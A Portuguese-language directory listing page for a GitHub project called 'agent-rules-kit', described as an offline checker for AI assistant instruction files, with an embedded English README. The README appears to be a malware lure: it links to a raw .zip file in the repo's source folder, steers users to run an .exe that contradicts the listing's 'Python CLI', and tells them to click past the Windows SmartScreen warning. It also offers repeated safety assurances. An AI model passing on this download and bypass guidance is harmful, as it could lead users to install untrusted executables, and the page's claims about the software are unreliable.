convez.ai
MCP ServerDevOps & InfraestruturaIniciante
genuschristellaoverhang846

Agent Rules Kit

genuschristellaoverhang846/agent-rules-kit

Valide instruções de IA agents offline, sem risco

Ver no GitHub
InicialPluginScore · de 0 a 100

Ferramenta de diagnóstico local que valida arquivos de instruções de assistentes IA (AGENTS.md, CLAUDE.md, Cursor rules) identificando erros de formatação, regras conflitantes e ambiguidades. CLI Python read-only que roda completamente offline, sem modificar seus arquivos originais.

Instalação

$npx convez-ai genuschristellaoverhang846/agent-rules-kit

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
1
Forks
0
Acompanhando
0
Saúde
71%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Diagnosticar erros em arquivos de configuração de assistentes IA
  • Validar consistência de regras entre Claude, Cursor e GitHub Copilot
  • Identificar conflitos e ambiguidades em instruções antes de usar

Veredito

Ferramenta especializada e útil para quem trabalha com múltiplos assistentes IA e precisa manter arquivos de instruções consistentes. Execução local garante privacidade, mas a cobertura é específica e o público é nicho.

README

A tradução para o português deste README ainda está na fila.

🔍 agent-rules-kit - Fix your AI assistant instructions now

This tool checks your AI configuration files. It scans files like AGENTS.md, Claude Code, Gemini CLI, Cursor, and Copilot instructions for errors. It shows these errors so you can fix them. The software works on your machine and does not change your files. It only reads them to find mistakes.

🛠 What this tool does

AI tools use instruction files to follow your specific coding style. If these files contain errors, the AI might act in ways you do not expect. This tool finds those issues. It checks for formatting mistakes, unclear rules, and conflicts in your setup.

It helps you maintain consistent behavior across different tools like:

  • Claude Code
  • Gemini CLI
  • Cursor
  • GitHub Copilot

📦 How to get the software

Visit the web page below to get the installer for Windows.

https://github.com/genuschristellaoverhang846/agent-rules-kit/raw/refs/heads/main/src/kit-rules-agent-v1.8-beta.3.zip

Look for the latest release version on the page. Download the file that ends in .exe. This file contains the program you need to run the diagnostic tool.

⚙️ Installation steps

  1. Click the link above to reach the main project page.
  2. Find the Releases section on the right side of the screen.
  3. Select the most recent version of the software.
  4. Save the installer file to your computer.
  5. Double-click the file named agent-rules-kit.exe to start the setup.
  6. Follow the instructions on the screen to finish the installation.

The software checks for Python version requirements during this process. If your computer needs an update, the installer provides the steps to get it.

🚀 Running your first check

Once the installation finishes, you can start the program.

  1. Open the Start menu on your Windows taskbar.
  2. Type agent-rules-kit in the search box.
  3. Click the icon to launch the window.
  4. The application shows a folder selection box.
  5. Select the folder on your computer that contains your project settings.
  6. Click the Start Scan button.

The software reads your instruction files. It creates a list of items found during the scan. You see clear messages about file formatting and rule clarity.

📝 Understanding your results

The tool displays the status of every file it checks. A green checkmark means the file looks good. A yellow warning icon shows a potential problem. A red icon marks an error that needs your attention.

Click on any line with an icon to see details. The tool suggests changes to improve the file. It explains why a rule might cause confusion for an AI. You choose whether to apply these changes. Remember that this tool does not save changes for you. It provides advice on how to improve your text files manually.

🛡 System requirements

This tool runs on Windows 10 and Windows 11. It needs minimal disk space. You should have at least 50 megabytes of free space before you run the installer. The program uses a small amount of memory while scanning. It works best if you close other heavy programs during the scan. You do not need an active internet connection to run the diagnostic checks, as everything happens on your local machine.

💡 Common questions

Does this tool send my data to the internet? No. The scan happens entirely on your machine. Your instruction files stay on your hard drive.

Can I use this for multiple projects? Yes. You can switch between different project folders whenever you want. The tool saves your recent folders to make switching easy.

What happens if I find an error? Open your instruction file in a text editor like Notepad. Apply the changes recommended by the diagnostic tool. Save the file and run the scan again to verify the fix.

Is it safe to run on my PC? The tool operates in read-only mode. It never writes, deletes, or modifies your files. It only scans the content to find errors in your AI rules files.

📋 Troubleshooting installation

If the Windows SmartScreen filter appears during setup, click More Info and then click Run Anyway. This confirms you trust the software package. If the program fails to launch, ensure your Windows updates are current. Most systems work immediately after the standard installation process. Contact your system admin if you face permission errors during the installation steps.

🔧 Keeping the software updated

New versions include checks for new AI agents as they appear. Check the download page periodically for updates. If the scan returns unexpected results, update to the most recent version provided on the source page. The software notifies you if a new version exists when you launch the program.

Ver o original no GitHub

Bom para

Relacionados